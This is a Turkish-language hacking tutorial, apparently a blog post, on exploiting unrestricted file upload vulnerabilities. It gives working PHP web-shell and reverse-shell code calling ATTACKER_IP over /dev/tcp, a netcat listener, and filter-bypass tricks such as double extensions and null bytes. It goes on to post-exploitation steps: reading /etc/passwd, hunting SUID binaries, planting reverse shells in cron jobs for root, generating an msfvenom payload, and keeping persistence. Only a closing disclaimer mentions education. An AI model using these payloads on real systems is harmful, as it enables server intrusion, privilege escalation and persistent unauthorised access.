Dosya Yükle = Açık var mı?
Web sitelerinde “dosya yükle” alanı gördüğünde gözün parlasın çünkü bu, birçok sistemde filtreleme hataları yüzünden sisteme sızmanın en kolay yollarından biri olabilir. Bu zafiyetin adı: Unrestricted File Upload Vulnerability.
Yani site, sadece .jpg yüklenebilir dese bile, aslında arka kapıdan .php shell dosyası bile sokabiliyor olabilirsin.
1. Dosya Yükleme Açığını Anlamak: “Neye İzin Veriliyor?”
İlk adım, sitenin hangi dosya türlerini kabul ettiğini tespit etmektir.
🎯 Test edilecek dosya uzantıları:
.php, .php3, .phtml, .asp, .jsp, .exe
🎭 Masum gibi göster ama tehlikeli olanlar:
resim.php.jpg
komik-goruntu.png.php
şimdi deneme amaçlı yani sunucuda böyle bir açık var mı diye basit bir kod yazıyoruz ve bu kodu olduğu gibi bir php dosyasına kaydedin ve yükleme yerine yükleyin:
<?php system($_GET['cmd']); ?>
Ve yüklediğini varsayalım, ve url ye şunu yazın tabi hedef sitenin isimini yazın :
https://site.com/uploads/resim.php.jpg?cmd=whoami
Eğer terminal komutu çalışıyorsa, sistemin içine girdin demektir.

2. Gerçek Tehlike: Reverse Shell ile Sunucuyu Hacklemek
Reverse Shell, sistemden saldırgana ters bağlantı başlatır. Yani senin makinan shell alır, sistem sana bağlanır.
🔧 Reverse Shell Nasıl Oluşturulur?
Yol 1 — revshells.com kullan:
- IP: kendi IP adresini yaz.
- Port: genelde
4444
iyidir. - “Generate” de, hop shell dosyası hazır.
🚀 Alternatif: Kendi PHP shell dosyan:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
?>
ATTACKER_IP
kısmına Kali makinenin IP’si gelecek. Port olarak 4444 kullanabilirsin.

3. Dinlemeye Geç: Netcat ile Bağlantı Bekle
Kali’de terminali aç ve shell bekle:
nc -lvnp 4444
Bu komut, 4444 portunu dinlemeye alır. Artık saldırıdan sonra sistem sana bağlandığında burada shell düşer.
4. Dosyayı Yükle ve Shell’i Çalıştır
Shell içeren .php dosyanı yükle. Eğer yüklendiği dizin mesela şöyleyse:
https://target.com/uploads/shell.php
URL’yi tarayıcıda aç → Netcat ekranına düşen komut satırıyla sisteme giriş yapmış olursun.
Örnek çıktı:
bash-4.2$ whoami
www-data
eğer bu yazıyı gördüysen artık içerdesin sistemin Tebrikler
5. Filtreleri Atlama Teknikleri
Bazı web uygulamaları, upload’da filtre kullansa da yine de delik bırakır.
📌 MIME Spoofing:
- Dosyayı
shell.php
, ama içeriğiniimage/jpeg
gibi göster. - Bazı sistemler uzantıya değil, MIME türüne bakar.
🧼 Null Byte Bypass:
resim.php%00.jpg
gibi isimlerle dene.%00
ile sistem PHP kısmını dikkate alabilir,jpg
‘yi atlar.
🔀 Duble Uzantı:
shell.jpg.php
veyashell.php.png
tarzı uzantı oyunları sistemin kafasını karıştırabilir.
6. Shell Alınca Ne Yapılır?
Shell aldın, şimdi n’apıyoruz? 🕵️♂️
📌 Sistemi tanı:
uname -a # OS bilgisi
id # Kullanıcı
ls /home # Kullanıcı dizinleri
cat /etc/passwd # Kullanıcı listesi
sudo -l # Sudo yetkisi var mı?
7. Yetki Yükseltme (Privilege Escalation)
Sunucuda root olmak istiyorsan, sıradaki hamleler şunlar:
🔍 SUID Binary Avı:
find / -perm -u=s -type f 2>/dev/null
Root yetkili binary’leri listeler. Bazıları seni root’a sokabilir.
🧠 Cron Job’ları Kurcalama:
ls -la /etc/cron*
Eğer çalıştırılabilir script varsa, içine reverse shell kodu gömüp root olabilirsin.
🛑 Sudo Exploit:
sudo -l
Eğer sudo su
çalışıyorsa, root oldun demektir.
8. Reverse Shell Kaynakları
Sana hayat kurtaracak birkaç site bırakıyorum:
- 🔗 revshells.com – Otomatik reverse shell kodu oluştur.
- 🔗 github.com/pentestmonkey/php-reverse-shell – En popüler PHP reverse shell.
- 🔗 Metasploit – msfvenom ile shell oluştur:
msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.php
❓ Bonus: Sıkça Sorulanlar
1. Dosya yükleme açığını nasıl tespit ederim?
Yukarıda verdiğimiz uzantı ve içerik denemeleriyle manuel test edebilirsin. Ek olarak Burp Suite gibi proxy araçları kullanarak da analiz yapabilirsin.
2. Shell dosyam silinirse ne yapmalıyım?
Sisteme cron job veya webshell bırakabilirsin, yeniden bağlanmak için.
3. Reverse Shell çalışmıyor, neden?
- IP yanlış
- Port kapalı
- Güvenlik duvarı engelliyor
- Apache vs PHP yorumlamıyor olabilir.
⚠️ Yasal Uyarı
Bu yazıda anlatılan tüm bilgiler etik hacking ve eğitim amacıyla paylaşılmıştır.
İzinsiz erişim, Türk Ceza Kanunu’na göre ciddi suçtur ve hapis cezası ile sonuçlanabilir.
Lütfen yalnızca kendi sistemlerinizde veya izniniz olan test ortamlarında uygulayın.